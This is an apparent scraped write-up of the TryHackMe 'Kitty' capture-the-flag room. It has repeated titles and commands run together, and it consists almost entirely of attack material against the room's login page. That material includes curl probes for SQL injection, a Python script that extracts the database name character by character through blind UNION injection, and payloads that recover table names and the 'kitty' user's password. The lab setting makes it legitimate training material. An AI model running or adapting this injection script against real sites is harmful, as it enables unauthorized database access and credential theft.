Kitty
tryhackme room Kitty





























Last updated
tryhackme room Kitty





























Last updated
curl 'http://kitty.thm/index.php/' -X POST -d "username=test'+AND+1=1--+-&password=" -s -w "%{http_code}" -o /dev/null curl 'http://kitty.thm/index.php/' -X POST -d "username=something'+AND+1=1--+-&password=" -s -w "%{http_code}" -o /dev/null└─$ curl 'http://kitty.thm/index.php/' -X POST -d "username=test'+ORDER+BY+1+--+-&password=" -s -w "%{http_code}" -o /dev/null
302
└─$ curl 'http://kitty.thm/index.php/' -X POST -d "username=test'+ORDER+BY+2+--+-&password=" -s -w "%{http_code}" -o /dev/null
302
└─$ curl 'http://kitty.thm/index.php/' -X POST -d "username=test'+ORDER+BY+3+--+-&password=" -s -w "%{http_code}" -o /dev/null
302
└─$ curl 'http://kitty.thm/index.php/' -X POST -d "username=test'+ORDER+BY+4+--+-&password=" -s -w "%{http_code}" -o /dev/null
302
└─$ curl 'http://kitty.thm/index.php/' -X POST -d "username=test'+ORDER+BY+5+--+-&password=" -s -w "%{http_code}" -o /dev/null
200' UNION SELECT 1,2,3,4 WHERE database() LIKE BINARY 'a%' -- -import requests
ip = "kitty.thm"
chars_list = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-/:~$^ "
c = ""
while True:
for i in chars_list:
post_data= {"username":f"' UNION SELECT 1,2,3,4 WHERE database() LIKE BINARY '{c+i}%' -- -","password":"test"}
req = requests.post(f"http://{ip}/index.php", data=post_data,allow_redirects=False)
status_code=req.status_code
print(f"{i}", end='\r')
if status_code == 302:
c = c+i
print(f"[+] Updated Result ==> {c}")
break
elif i == " " :
print("\n[+] Injection Finished")
print(f"[+] Result ==> {c}")
exit()' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = database() AND table_name LIKE BINARY '{c+i}%' -- -' UNION SELECT 1,2,3,4 FROM siteusers WHERE username LIKE BINARY '{c+i}%';-- -' UNION SELECT 1,2,3,4 FROM siteusers WHERE username=\"kitty\" AND password LIKE BINARY '{c+i}%';-- -